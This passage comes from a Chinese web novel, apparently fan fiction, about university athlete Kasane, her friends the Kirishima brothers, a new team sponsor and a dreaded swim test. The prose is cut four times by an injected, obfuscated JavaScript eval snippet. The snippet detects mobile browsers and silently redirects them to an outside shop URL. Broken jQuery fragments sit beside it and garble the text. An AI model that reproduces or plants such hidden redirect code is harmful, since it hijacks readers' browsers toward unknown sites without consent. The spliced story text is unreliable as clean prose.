;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16619329|187803||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 晶晶的耳饰，她很难不喜欢吧。 意识到这一点的桐岛夏也忽然感到心情很好，牛排也显得更加诱人。他下意识地举起手机，不过还没打开照相机就放下了。 瞄到这番小动作的风音开始偷笑。 “不给手机先吃啦？” “本来想给郁弥看看的，但最近他一点也不爱回复我的消息，给他发十条才可能收到一条答复。这家伙真的太冷漠了。算了，不拍了。” “这样啊。”风音戳着西蓝花，慢吞吞地把这颗绿色蔬菜在土豆泥里滚了好几圈，“原来他的回复频率就是这么低吗？我还以为是他不想理我呢——因为我和他已经很不熟了？” “不至于吧。郁弥他只是一个适合面对面往来的人而已。” “这样嘛……” 不愧是当哥哥的，真明白弟弟的性格呢。 风音点着脑袋，在心里分析夏也的这番话。 意思是，要是下次见面了，郁弥就会显得稍微热情一点了？那得赶紧找个机会约他出来玩才行了。 当然，在此之前，她还要打探到更多和郁弥（还有夏也）有关的事情才好。这倒是容易，夏也很乐意那段他们之间并未交叉的过去。 甚至分享得有点太多了，就连兄弟之间约定好不能给任何人看得郁弥的糗照都已经被风音看了个遍，难怪霜狼大学的游泳池里总时不时传来一声结结实实的喷嚏。 “虽然前两年郁弥在游泳和人际关系方面都挺波折的，还好现在完全没有问题了。已经是不需要我操心的弟弟了。” “你很失落的样子。” “失落？不会吧。没有什么比弟弟的成长更值得让人开心了。”夏也笑了一下，抬眸看她，“你呢，你还好吗？” 在他说话时，头顶那盏碍事大灯的灯光会映在他的眼眸里，将他赭色的虹膜照得分外明亮，像是有水波漾在其中，很奇妙地从她的心上荡了过去。 “我啊？我嘛。” 风音歪过脑袋，下意识地挠挠头。 “和你或者郁弥不太一样，我在各种方面好像一直都挺平稳的，应该属于那种成长路线还挺顺利的小孩吧，要说比较苦恼的时间可能是和爸爸一起住的那一年……？啊，不过就算是那时候也还好啦。总的来说，我没遇到过什么重大的打击和失败，还算挺幸运的吧？” 能说出这话，绝不是风音的乐天派心情起到了作用，而是事实确实如此。 一旦步入竞技体育，懊悔与痛苦无法避免。风音觉得自己真的很幸运。她还算有天赋，也足够努力，顺利进了篮球强校，在第一年就拿到了首发的机会。 当然了，即便是强队，也不可能在每一场比赛中获胜，但还好那些都不是让人懊恼不已的失败，球队的大家都知道这只是支队伍已经走到了能力的终点，失败就此成为登上下一个台阶的垫脚石，以至于她一贯的好胜心都不会让她产生“如果再来一次”的念头。 但这真的是幸运吗？ 没有后悔不已的失败不是好事哦，风音。 夏也很想这么说，却没有真的说出口。 8.赞助一定越多越好 距离训练开始只剩下短短的五分钟，死线变成辫子狠狠抽打即将迟到的风音。她不得不一阵小跑冲进体育馆。 “可恶可恶要被罚跑了啊啊啊啊这种事情不要啊！” 真的，她绝不是什么不守时或是没有时间概念的糟糕家伙，迟到对她来说肯定也不是家常便饭。说实在的，她也不知道自己今天怎么就踩在训练开始的死线上了。 难道是今天走路太慢了吗，还是下课理包的时候太磨蹭了？好像都没有吧。可恶，绝对是有什么看不见的异次元生物偷偷吞掉了她的时间没错！ 越想越生气，还好脚步越来越快了。赶紧瞄一眼手表。好吧，现在小跑要变成冲刺了。 一想到要被小田教练和吉田队长轮流教育一遍，风音的脚步更不敢停了，靠着一腔惯性冲开了体育馆的大门。 “非常抱歉我今天——” 道歉的话语脱口而出，还来不及说完，风音却先看到了空荡荡的篮球场。 好奇怪，训练马上就要开始了，大家居然还没有开始列队，齐齐聚在篮筐下，似乎是围在一起看什么，绝对是很有意思的东西吧。 无论是挨骂的恐惧还是迟到的罪恶感，一下子全都消失无踪了，风音赶紧跑过去，只剩下一颗好奇心在疯狂膨胀了。 “什么什么，你们在看什么？” 她努力往里挤，声音都快要变形了。 “难道是又有小猫咪跑进来了吗？” 必须说明的一点是，远超国民平均身高的鹿鸣风音在整个京王大学女篮队里身高排名倒数第五——如果其中不是包括了个子小巧的经理丰田真理亚，那她的排名将会掉到倒数第四。 这意味着，想要挤进这堵由大高个团团围起的人墙，绝不会是什么容易的事情。风音见缝插针，找准了时机，努力把脑袋钻进进空隙里，总算是触及到人墙的最中心，得以窥见队友们的视线究竟在看着什么。 特大坏消息，没有小猫。 大家聚在一起，只是在看下一年度的新队服样品而已。 风音一下子瘪下去了：“诶？为什么不是小猫……好伤心……” “谁也没说是在看猫啊，你不能自顾自地给出了期待然后又自顾自地失望。”吉田千夏伸手过来，搓搓她脑袋，“头发还不扎起来吗？” “要扎了要扎了，队长你别搓我头——会秃的！” 她可是谢顶率远超百分之四十的法国男人的后代，保不齐哪天醒来，她的头顶也会变成变成寸草不生的平地。爱护头发的危机感必须从现在开始培养。 不过千夏肯定是不会如她所愿的，在她说完之后又毫不留情地搓了好几下，急得风音都快叫出来了，赶紧把乱糟糟的一头金色长发拢起来，这才阻止了队长过分调皮的手。 整理完了头发，风音这才开始认真打量新队服。 要重新设计队服这件事，从上个学期就一直在说了，主要是因为常年赞助球队的企业即将合作到期且不续约，新一年度需要把旧赞助商的商标撤下来。大抵怀着一点点丢掉过去印象的焕新心理，且队服还要加上新赞助商的商标，校方决定干脆地决定把一整套队服从头到尾全新设计，所以才有了今天大家今天正在欣赏的这件新样衣。 风音实在眼拙，说是全新的设计，她却完全没觉得新队服有什么不同。 整体配色和之前完全一致，是和校徽一样的深蓝与白色的搭配，非要说有什么不同，也就只是色块分布的变化而已，这点改动还不如印在上衣正面硕大的“太阳石油”的logo大。 “诶，石油？”风音真的觉得自己的大脑小小地萎缩了一下，“新赞助商是石油公司？” “没错。” 风音的吐槽之心快要冒出来了，不过大家好像都不觉得女篮赛场上出现石油公司有什么奇怪的，她也不好意思说得太直白了，只能挠挠头。 “我还以为新赞助商会更加……和篮球或是运动有关？” “太阳石油是赞助给得最多的企业，能联系上他们也是很不容易的呢。”经理真理亚说，“除此之外的赞助商都……唉，我都不想去说。能联系上太阳石油，还是我拜托了以前的经理，他又拜托了自己的高中前辈，正巧他的前辈也是运动员来着。是这位前辈帮忙联系了以前给他赞助过的企业，所以我们才能顺利混到赞助的。” 风音倒吸了一口气：“好曲折的故事。” “所以你明白了吧，就算赞助商是和篮球完全无关的汽油公司，我们也得感恩戴德地接受才行。” 是啦是啦。不过她还是觉得好郁闷。 “我们可是首屈一指的强豪队伍，赞助就该源源不断才对啊，怎么找新赞助这件事会如此困难！” “没办法嘛。”真理亚默默叹气，“现实情况就是，女篮的人气根本比不上男篮。” “可恶……男子篮球这项运动能不能赶紧从世界上消失啊！” 吉田千夏一记手刀劈下来：“小风，快把你的杀气收一收。” 来自队长的爱的教育并不用力，给人带来的心理打击却远远大于物理打击。风音抱着脑袋嗷嗷叫，还没嚎上几声就被教练揪去训练，篮球哒哒的落地声彻底盖住了她脑海里的怨念。 等她再次想起赞助商这件事的时候，训练已经结束了好一会儿，她换回帆布鞋，和伊藤凪一起走向公交车站，准备早点回家睡觉。 在球场上挥汗如雨四小时，这会儿的她已经彻底平心静气，一点怨念也没有了，顺畅地接受了未来会顶着“太阳石油”的商标奋战球场的这个事实。不过她还是很希望能遇上一个搭腔点的赞助商。太阳石油还是去支持游泳运动员吧，毕竟石油和泳池的水一样都是液体。 对了，说起来，游泳运动员的赞助商信息一般是怎么呈现出来的呢？他们又没有队服什么的，就算是穿上了贴有赞助商标志的外套，下水前不也必须要脱掉。从入场到下水，只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16624203|187803||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有短短的一段露脸时间而已，真的值得赞助商投资吗？ 如果想要在整场比赛中保持足够多的曝光率，那就得把商标……印在泳裤上？等等，这好像有点好笑啊。 暗戳戳这么想着的风音自顾自笑出了声，差点把同行的伊藤凪吓一跳。 是了 ，没必要空想，干脆去问问郁弥好了，他肯定有赞助，毕竟他是游泳界鼎鼎有名的选手——这件事还是她最近才知道的，但这不能怪她，谁让体育领域隔行如隔山。 这份兴致勃勃的冲动在她掏出手机后的两秒钟消失殆尽。 总觉得不该和郁弥说无聊的小事，因为真的太无聊了。 最近，这样的心情好像越来越严重了，绊住迫不及待想要分享的事情，风音从没想到自己居然会是一个犹豫的人，明明以前想说什么都可以直白地对他说的。 越想越觉得郁闷，风音又要抱着脑袋嗷嗷叫了。 “伊藤大人！快帮我占卜一下怎么才能重铸友谊！” 伊藤凪又被吓一跳——这回可不是“差点”，而是是真真切切地被吓到了。她不高兴地皱起脸：“你不是没那么信塔罗的吗？而且这种问题塔罗占卜不出来啦。” “我正在抓紧一切可能有用的办法！” “其实是绝望到无路可走了才对吧？”她故意嘲笑风音，“重铸友谊也不是什么难事啊，真诚一点、主动一点、积极一点，不就可以了？” “唔……” 该怎么说呢，有时候风音觉得自己也挺积极的，可惜郁弥就是那种十条消息只会一条且响应时间慢到令人发指的性格，这似乎已经不是她努力就能收获成效了。 就在她思考着是不是该从别的角度入手时，伊藤凪忽然说：“队长在群聊里问这个月的聚餐要去哪家店。你之前想去吃烤肉是不是？快点抓紧机会提议吧！” “什么！好！” 每月一次的聚餐是京王女篮队的习俗，差不多是和团队建设同一等级的日常活动。 风音赶紧发送了“巴西烤肉”和八个硕大的感叹号，成功抢占先机，夺下了本次的聚餐桂冠。 “对了，这次聚餐应该会多两个人一起参加。”队长千夏还这么说了。 然后毫不意外地被大家猜是不是她要带男朋友一起来，不过这番猜测很快就被认为不够靠谱，毕竟人怎么可能同时会有两个男朋友。 话虽如此，当一个黑黢黢的男生跟在千夏身后走进餐厅的时候，还是有人“啊”起来了——没错发出了“啊”一声惊叹的就是风音。 “果然是男朋友啦！”她惊喜地叫起来。 “你先别‘啊’。”轮到大三的学姐给她一记手刀尝尝了，“那是前任的经理。” “哦，好吧……不对不对，后面还有个男生呢，他绝对是队长的——” ——等等！ “哟。”迟迟步入餐厅的桐岛夏也冲她挥了挥手，“是意料之外的见面吧？” 9.山手线绕成圈套 在自家队伍的聚餐场合看到了桐岛夏也，这种心情该怎么描述才好呢…… 嗯，应该和在非洲大草原飞扬的尘土中见到一只悠闲散步的纯白北极熊的心情差不多吧。 用更加直白简洁一点说法就是，风音现在相当惊讶，且开始怀疑自己的眼睛出现了一点小小的（也可能是很大的）问题，竟然在这种场合塑造出了名为桐岛夏也的幻象。 这就是为什么，她下意识做出的第一件事就是揉揉眼睛。 倘若这是幻觉，用力挤眉弄眼一番就能把虚假的幻象赶走了。可奇怪的是，夏也依然稳固地待在视线的一角，就坐在隔了她两个座位远的位置，真实得不能再真实了。 好吧，看来眼前的一切确实是事实没错了。 也说不上会不会因此而高兴吧，有点懵倒是真的。她之前可一点都没有听说夏也会来这里的事情。 就在风音暗戳戳地想着，是不是该给夏也发个消息问问他为什么会来这里的时候，队长千夏已经开始解释起来了。 “这位是熊见国际大学的桐岛郁弥，是悠马的高中前辈，也是帮我们成功得到新一年赞助的最大功臣，所以我自作主张，邀请他们俩一起来吃饭了。啊，一年级和二年级的大家是不是不认识悠马？他是在真理亚之前的队伍经理。” 原来太阳石油真的赞助过游泳运动员啊，她最初的无脑猜测居然是真的。 风音磨蹭地跟着大家一起鼓掌，总还是觉得在这个场合下遇到夏也太怪了，不过一吃到巴西烤肉，她的什么奇怪心情都消失无踪了，悠哉悠哉地听夏也说起这几年在母校高中作为毕业生支持游泳社训练的事情。 很奇妙的是，夏也现在是个相当游刃有余的大人。这是继“他长高了”之后的又一重发现。 当然了，绝不是说他以前多么特立独行或是怎样。一直以来，夏也都是相当能和大家打好关系的爽朗性格，和藏起心事的郁弥完全不一样。现在的他愈发显得合群，会自然而然地接住话题，绝不让对话落到地上，熟稔的语调也像是早就和这里的大家认识了。他也会很自然地把吃空的盘子叠在一边，往酱料碟里填满烤肉粉，却丝毫不显得过分殷勤。 大概是因为有他在，今天的聚餐比平时晚了半小时才结束。只喝了一杯啤酒的夏也早就已经被酒精熏得脸颊通红，风音合理怀疑他是不是真的能顺利回家。 “就知道今天会喝酒，我都没开车过来，不然会很危险嘛。” 准备散场的时候，夏也来到她身边，小声地这么说。 他似乎还挺得意于自己的先见之明。 “不开车的话待会儿怎么回去，打车吗？”风音问他。 夏也想了想，“电车。我坐山手线。” “好巧！我也坐山手线回去。” 对了对账，夏也和风音才发现他们俩的公寓隔得不远，只差了一站电车的距离而已。要是对自己的脚程有信心，这点距离走上二十分钟就可以消失无踪了。 忽然想到了什么，风音问：“郁弥是不是也和你住在一起？” “没有。但他住得也不远。” “为什么不住在一起呢？能分担房租的话不也挺好嘛。我超希望能有和和我一起合租呢。” “是啊，可郁弥不想和我住在一起嘛。”他故意露出一副很可怜的样子，“大概是被成年的弟弟讨厌了吧，或者是他不喜欢山手线——他的公寓里山手线可是很远的。” 话题突然变成对电车线路的讨论了。怎么回事。 “山手线吗？我也能搭山手线回去来着。”悠马咧开一排洁白的牙齿，“前辈，我们要不一起走吧，正好……哎！” 他的话还没说完，队长已经把他拽走了。 “悠马就和我们一起拼车回去吧，正好差一个人。” “拼车吗？好啊。” 总觉得这段对话透着一股微妙的刻意感。 当风音意识到这一点时，真理亚凑了过来，小声在她耳边说：“加油，小风！” “啊？” “不用不好意思。”真理亚拍她肩膀，“爱上帅哥是天经地义的事情！” 不好，真理亚的恋爱脑爆发了。明明她以前不常这样啊。 风音摸摸鼻子，觉得自己必须解释：“我和夏也前辈很久以前就认识了，他刚到的时候还和我说话了呢，你是不是没看到？所以，实在用不着……” 话还没来得及说完，她就被真理亚惊愕的目光瞪得不好意思说下去了。 “悠马！”真理亚毫不犹豫地大喊，“你还是和他们一起搭山手线回家吧！” “是吗？没问题！” 结果当真变成是三个人一起走了，恰巧是同一个方向。不过悠马家更近，坐过两站就能和他们说再见了，而风音和夏也还要继续在电车上摇摇晃晃。 也正是在小幅度的晃荡中，风音的胡思乱想就像是神社签筒里的占卜木签一样，咔哒咔哒地晃了出来。 “夏也前辈不是队长的男朋友吧？”——这次甩出来的占卜木签是这么一句询问。 车厢里的空气绝对沉寂了几秒钟，还好没有一直延续下去。 “不是。”夏也皱着眉，扬起的嘴角怎么看都很像是苦笑，“为什么你的表情很有一种，如果我回答了‘是’，你就会很不高兴的样子？” “我当然会不高兴啊！” 风音一边说一边忍不住锤自己的大腿。 “要是我的两个社交圈子真的这么扯在一起了，那简直就是……行星撞地球！”她一边说着，一边把拳头抵在一起，营造出一种星球爆炸的既视感，“我真的会不知道怎么看待你或者队长的！” 夏也的表情看起来总算是轻松一点了，“所以说不是嘛，你不用担心。” “我不是一个意见很多的人，总而言之，夏也的恋爱对象最好别是我认识的人就可以了——郁弥也是一样，你记得转达给他！” 她说着这话时的表情格外认真，让夏也不由得恍了恍神。他明明张开了薄薄的唇，可惜最后什么也没能说出来。 他当然也没有点头，只是微不可察地笑了一下，也不知道算是默认了，还是心里仍怀有其他想法。 倒是电车率先到站，车门即将闭拢的哔哔声催着风音快点下车。她慌忙抓紧背包，丢下的急匆匆一句“拜拜”差 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16636165|187803||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 点被夹进车轮里。 沿着轨道吹来的风扬起她的金发，夏也觉得，他好像一点也不知道风音会想些什么。 对于某人的未知，这本该是令人失落的一件事，但不知道为什么，夏也发现自己在笑。 对于发生在背后的事情，风音一无所知。吃得有点太饱了，她干脆一路小跑回家，顺便分心回复一下妈妈的消息——身处不同的大洲，现在可是一天之中她们难得都醒着的时间。 在来自妈妈的回复之间，很意外地还夹杂了一条来自桐岛郁弥的新消息。 「Ikuya：哥说他和你的队友们吃了巴西烤肉。好吃吗？」 居然不是来批判她对兄弟俩下达的霸道的择偶观。风音松了口气。 「Kasane：夏也都和你说了巴西烤肉的事，居然没有告诉你烤肉的味道，好过分的哥哥！」 「Ikuya：我让他别说。如果不好吃，他也会故意说谎骗我去吃的。但风音你应该不会对我说谎」 「Kasane：感谢桐岛先生的信任。以本人之拙见，这家巴西烤肉风味尚可，但总体偏甜，大概不是桐岛先生您会喜欢的口味」 「Ikuya：感谢你的诚实」 风音完全能想象到郁弥说出这话时的认真表情，忍不住噗嗤一下笑出了声。 当然了，和郁弥之间能有如此高效且顺畅的线上交流，实在是比较难得的事情。谁让桐岛郁弥是个不会随身携带手机的家伙。 不过，来月有他会出席的大学生游泳联赛，正好那天风音有空，到时候就能进行一些不被电波耗损的面对面往来了。 到时候再用真诚寻回正常的友谊吧！她下定决心了。 不过嘛，在此之前—— “小风，你收到邮件了吗？” 站在储物柜前换衣服的时候，伊藤凪忽然说。 风音把耳钉摘下来，一脸茫然：“你说什么邮件？” “学校发的，你看下收件箱就知道了。因为对你来说这肯定不是什么好消息，所以我就不提前告诉你了。” “诶？别神神秘秘的嘛。” 搞得她都紧张起来了，赶紧把丢进包里的手机重新捞出来，心脏突突地打开邮箱，果然有一条来自京王大学教务处的邮件。 诚如伊藤凪所说，的确不是好消息。 「……（前略）……基于对我校学生安全教育的考量，即日起，一百米游泳——即不中断地完成一百米游泳合格考核（泳姿任选）——将作为必修技能纳入毕业指标之一。」 噩耗。 “顺便一提。”伊藤凪送上贴心提示，“等到了大三，我们的训练强度就要增加了，在此之后还要考虑是否升入职业队的事情，所以小田教练绝对会让大家在今年就把游泳考试解决掉。” …… …… ……更大的噩耗。 不开玩笑，风音的眼睛真的要掉出来了。 好在两秒之后她成功找回理智，开始抓着伊藤凪的手臂，大喊：“伊藤大人！快帮我占卜一下怎么才能混过游泳考核！！” 等等，她的理智真的找回来了吗？ 10.悲伤的五个阶段 如果轮回论当真存在，鹿鸣风音将会发自内心地坚信自己的前世是栖息在干旱内陆的一只蜥蜴，一生之中绝没有见过大江大河，以至于一旦碰到水就会立刻弹起来的那种生物。 实不相瞒，讨厌游泳这件事，从风音小时候就已经成为定局了，但和她从前不小心掉进鹰见山小河里的悲伤经历没有多少特别的关联，毕竟在邻居家的桐岛兄弟接连学会游泳、于是妈妈也问她要不要去游泳俱乐部玩一玩的时候，她就已经摆出小大人的做派，提出了义正词严的拒绝。 “我讨厌把自己弄得湿淋淋的。”她很认真地说，“我绝对不要进入到水中！” “但要是学会了游泳，我们就可以到塞纳河痛快地玩了。”那时候还住在岩鸢的爸爸皮埃尔丢出相当不错的诱饵，“我们能一边游泳一边欣赏埃菲尔铁塔哟。这是不是很有意思？” “爸爸，你忘记了吗，塞纳河不能游泳。禁止游泳的牌子就竖在岸上呢，我没忘记！” 不过，虽然小时候说得信誓旦旦，仿佛这辈子都绝不会进入渗水之中，但风音还是在高中的体育课上学会了一点游泳——当然，脏娘额只有一点点而已，精通程度绝不会比手指捏合起来的缝隙更多。 说得更加明白一点，想要让她漂在水上完全没问题，更多的就不行了。 游过一百米，当然也是完全没可能的。为什么非要会游泳才能毕业？ 鹿鸣风音好痛苦。在“京王大学疯了吧”的消极念头跳出来之前，她的指尖已经开始飞快地敲打在键盘上了，这副模样似乎比她准备大学入学考试的时候还要稍微认真一点。 “训练马上就要开始了，得快点去体育馆才行，先别和别人聊天了。” 以为她在回复消息的伊藤凪小声提醒。 而风音只是应了一声“哦”，依旧专心打字，过了几秒才说，她没有在和任何人聊天。 “我只是在。”哒哒哒哒手指敲在键盘上，“编辑回信。” “回信？” “我在向校方确认这封邮件是不是恶作剧。” “……啊？” 现在，风音稍微冷静一点了——也就是说她不会再冲动到想要去借用玄学的力量解决问题了。 一大脑一平静下来，她就觉得这封邮件离奇了起来。为什么偏偏要挑选在第二学期不剩几个月的时候，突然以“安全技能”为由将考试成绩纳入到毕业指标之中呢？这不合理，太不合理了，绝对有问题。 要么是内这封邮件本身是错误的，或者就是邮件中的某些内容出现了歧义，总之这件事绝不可能是真的！ 风音完全没有意识到自己正在经历悲伤的五个阶段中的第一个阶段——也就是否认。当然也不会察觉到，在收到学校的“该邮件确为官方通知且内容并无任何问题时”，她的暴跳如雷正是第二阶段，愤怒。 “疯了吧疯了吧疯了吧！” 她怒气冲冲地把篮球丢出去，嘴上的抱怨一秒钟都停不下来。 “为什么非要把一项技能和运动挂钩啊！难道不擅长游泳的人就没办法在京王大学活下去了吗！这里又不是国立海洋大学！” 绝对是愤懑之心在作祟，她一向最得意的投篮都失去了该有的准头，篮球轱辘轱辘在篮筐上滚了三圈，哐当一下掉在地上，弹到教练小田的手中。 “好。”真理亚停下了记录的笔，“小风今天的命中率是百分之三十七。下一位。” “啊啊啊投得好差啊！可恶！都怪游泳！” 风音痛苦到狂搓自己的脑袋，完全不在乎秃头的恐惧了。 让她游泳比让她秃头还要可怕！ “你冷静一点。”队长拍拍她的肩膀，耐心劝着，“这也不是什么当下立刻就必须要完成的事情。虽说教练希望低年级的大家在本学年就解决掉游泳考试的事情，但距离期末还有整整三个月。一百天还能考不过吗？你放轻松些。” “真、真的可以吗？” 队长的话稍稍让风音过分紧绷的神经缓和一些了，可她还是难免有点心慌，匆忙拽住队长的手。 “可是，高中的的时候，青山老师——就是那个教体育的、人特别好的、以前也是前辈你们班的体育老师的那位——她教了我一整年，才终于让我学会了在水上飘起来然后顺便游上三米。其他更多的……换气啊前进啊什么的，我全都没学会。” “……诶？” 队长以一种看外星生物的目光看着她，诧异到差点忘记合上嘴。 也就是说，风音最大的问题不是不会游泳，而是没办法游得更好，也绝无可能一口气游过一百米这么长的距离。 仔细想想，高中时被迫学会游泳，也是为了应付体育考试。 在最终考核的那天，风音压根没有游玩指定的距离，不过还是得到了一个恰到好处的及格分。但这并不是老师赠予她的奖励，而是老师对自己的辛勤教习（却根本没能收获相应回报）的精神损失费。 “有没有什么不适合游泳的病症？”她干脆像队伍里的大家求助，“只要能想办法证明我没办法游泳，就可以不游泳了对吧！” 风音试图卡上bug。 “可是。”一年级的后辈默默举起手，“鹿鸣前辈都能作为运动员在球场上挥洒汗水了，却说自己存在着不适合游泳的病症，是不是有点……悖论？” “……啊好像真的是这样没错！但是不是有那种什么，恐水症？” 有前辈探头过来：“恐水症是狂犬病的副产品。难道你想要为了逃避小小的游泳而去被恶犬咬上一大口吗？” “如果，这是必要的话。”风音咬牙切齿，显然已经下定了决心，“何尝不可！” “狂犬病会死人哦。” 真理亚适时地丢来这句话，一下子把风音鼓起地勇气砸瘪了。 只是为了逃过游泳而必须面对性命之虞，未免有点不值。还是算了吧。 风音依然不想坐以待毙，也很不乐意逃避问题。要是能有努力的余地，她果然还是想要拼尽全力。 于是她花了整整一周的时间和校方进行协商，把自己在京王校队期间做出的贡献统统摆上台面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16646601|187803||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，努力营造出一种“我的贡献完全可以抵消掉对于游泳技能的要求且我真的没有时间去精进我的游泳技能”。 毫不意外，没有成功。 正如她不愿游泳的决心，京王大学也笃定了一定要贯彻自己的改革。两番坚硬的信念撞在一起，风音悲惨地败下阵来。 “呜……伊藤大人，您还是用塔罗牌帮我算一算吧。” 风音可怜巴巴地靠在伊藤凪的肩上。自从协商失败以来，她真的整个人都要枯萎了。 伊藤凪不想把她时而旺盛、时而又会瘪下去的信仰放在心上，毫不犹豫地抖了一下肩膀，把风音的脑袋送往半空之中。 “要脚踏实地去学才能成功哟！”她还不忘告诫风音，“靠旁门左道是绝对不行的！” 风音切实地把她的话听到了心里，难怪她毫不犹豫地说：“那伊藤大人你教我。” “不要。我自己游泳都够呛，完全没有帮助你的信心。” 真是有够干脆的。 一号求助对象失败，但风音不会就此放弃。 她接下来去找了队长吉田千夏、还有靠谱的学姐、以及长得和菲尔普斯特别像的学妹，毫不意外又收获了一大堆的拒绝。 可恶……没办法，只能求助她的王牌了！ “小田教练！” 在训练结束之后，她果断地挡在了自己教练下班的路上。 “我想学游泳！” 教练把健身包甩到背后，默默抱起了手臂，一如既往很冷酷的表情。 “鹿鸣。” ''风音立刻立正：“我在！” “你知道的，我是你的篮球教练，对吧？” “嗯！”她很诚恳地点着脑袋，“您也是我最尊敬的人！” 鹿鸣风音的人生信条是，多说好话绝对没有错。 尽管如此，小田教练的冷酷表情似乎并没有因此多出任何的动容。看起来反倒……更加严肃了？ “如果我能教你游泳的话。”她吐出生硬的一句，“我为什么不去当游泳教练？” “呃——” “直白点说吧，我不会游泳。” 不知道为什么，风音居然一点也不觉得意外，可能是一连串的拒绝已经造就了她无坚不摧的内心吧。 可光有一颗坚强的内心有什么用！她难道能乘在这颗钢铁心脏上游过一百米嘛！ 她真的又忍不住要烦躁起来了，不自觉地再次开始抓起脑袋，理智开始在耳边嘀咕着“你这样以后很可能会变成秃头哦”，又为她平添了多余的苦恼。 ……等等。 秃头？ 风音从秃头想起了自家的光头老爹，然后顺势联想到了只记得那颗法国光头的郁弥。 没错她的身边不正有两个特别特别擅长游泳的家伙在嘛！ 事不宜迟，风音立刻打开通讯录，一通电话拨了过去。通话音只持续了短短的几秒钟就立刻接通了。 “喂？” “拜托了请教我游泳如果你不同意的话需不需要我土下座求你？” 11.怨念不溶于水 不得不说，听清电话那头的风音到底说了些什么的时候，夏也稍稍有被吓到——想来应该是那句“土下座”显得有点过分正式了。 说实话，想象不出风音土下座的样子。记忆里她的脊梁骨太硬了，实在不像是能轻易折下去的样子。 既然如此，那就别去想不会发生的事情了吧。 这会儿他才刚结束短池训练，准备去健身房进行负重练习，风音的电话来得可谓是恰到好处。但凡早五分钟或是晚五分钟，她就没办法联系到他了。运气真好。 夏也把干毛巾搭在脑袋上，不太认真地擦着，“土下座什么的倒是不用了，我可没有看人丢掉尊严的恶趣味。” 电话那头的风音好像一下子就高兴起来了：“你是不是答应啦？” “差不多吧。不过你要和我说一下你的目标和现状才行，还有期望达成目标的时间。只和我说一句‘想学游泳’可是不够的。” “没问题没问题！” 风音毫不犹豫地竹筒倒豆子，把自己的困境一股脑全都说出来了，包括但不限于自己只能闷头在水里游上三米的最佳成绩。 可能就是最后这半句话让夏也陷入了长久的沉默。他在更衣柜前站了整整半分钟，但是怎么也没办法想象出为什么能有人只在水里前进短短的三米。 “哈喽？”电话那头传来了小心翼翼的询问，“您好您好，请问桐岛夏也先生还在线吗？” 夏也收回怎么也成不了形的幻想，“啊，我在。” “你是不是被我可怕的‘天赋’吓到了？” 有点吧。 不过这么扫兴的发言，夏也是绝对不会轻易说出口的。 “我只是在思考，你这种情况该怎么处理而已。” “原来是这样啊。那就好。”风音猛松了口气，“我本来也想过是不是该找个专业的游泳教练，毕竟我知道自己天赋有限。可是，在教练面前丢人的话，真的很丢人——不过在夏也面前丢人完全没关系！” 毕竟夏也连她在齐腰深的水里站不起来这么丢脸的事情都知道呀！风音的尊严在他的面前已经完全清零啦！ “夏也大人肯定有办法帮我熬过一百米考试的！对吧对吧对吧！” 就算隔着电波，夏也都能想象出风音说这话时仿佛小狗甩尾巴似的模样了。 对于如此深切的期待，说出拒绝显然是不行的。况且他本来也不打算拒绝就是了。 既然已经说定，事不宜迟，立刻开干吧！ 约在谁都没有训练和比赛安排的这周日，他们约在了就近的游泳馆见面。 只是…… 站在游泳馆的招牌下，风音频频低头确认着导航app上的信息。 按照地图的显示，她已经来到了约定的地点没错，可为什么眼前的场所是“儿童游泳训练俱乐部”？ 是、是走错了吧？肯定是走错了，她可是堂堂京王大学的学生，怎么会来儿童游泳俱乐部学习游泳呢，不可能不可能！ 这么想着（或是说自我欺骗？），风音的尴尬心情一下子就消失无踪了。可就在她准备重新进行导航的时候，身后传来了熟悉的声音， “你来得好早。还是我迟到了？” 夏也赶紧瞄了一眼手表。还好，他只是踩点到达而已。 “下次不会让你等太久了。我们快……啊。” 他这才看到风音一脸的沮丧，连一头蓬松的金发都垮下去了，不知道是遭受了什么重大的打击。 